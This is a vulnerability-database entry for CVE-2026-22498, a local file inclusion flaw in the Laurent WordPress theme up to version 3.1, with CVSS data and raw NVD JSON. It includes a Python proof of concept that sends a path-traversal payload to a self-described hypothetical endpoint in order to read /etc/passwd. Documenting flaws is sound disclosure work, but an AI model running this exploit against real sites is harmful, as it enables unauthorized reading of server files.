Security Vulnerability Report
中文
CVE-2026-22498 CVSS 8.1 HIGH

CVE-2026-22498

Published: 2026-03-25 17:16:32
Last Modified: 2026-04-24 16:32:54

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Laurent laurent allows PHP Local File Inclusion.This issue affects Laurent: from n/a through <= 3.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Elated-Themes Laurent <= 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-22498 # Description: Exploits PHP Local File Inclusion in Laurent Theme <= 3.1 import requests def exploit_lfi(target_url): # The vulnerable parameter might be 'file', 'path', etc. Adjust as needed. # Attempting to read /etc/passwd on a Linux system traversal_payload = "../../../../../../etc/passwd" # Hypothetical vulnerable endpoint structure full_url = f"{target_url}/wp-content/themes/laurent/includes/load_template.php" params = { "file_name": traversal_payload } try: response = requests.get(full_url, params=params, timeout=10) # Check if typical Linux passwd file markers are present if "root:x" in response.text and "/bin/bash" in response.text: print("[+] Vulnerability Confirmed! LFI successful.") print("[+] Response snippet:") print(response.text[:200]) else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") # Usage example # target = "http://example.com" # exploit_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22498", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:31.783", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Laurent laurent allows PHP Local File Inclusion.This issue affects Laurent: from n/a through <= 3.1."}, {"lang": "es", "value": "Vulnerabilidad de control inadecuado del nombre de fichero para la declaración include/require en programa PHP ('PHP Remote File Inclusion') en Elated-Themes Laurent laurent permite inclusión local de ficheros PHP. Este problema afecta a Laurent: desde n/a hasta &lt;= 3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/laurent/vulnerability/wordpress-laurent-theme-3-1-local-file-inclusion-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}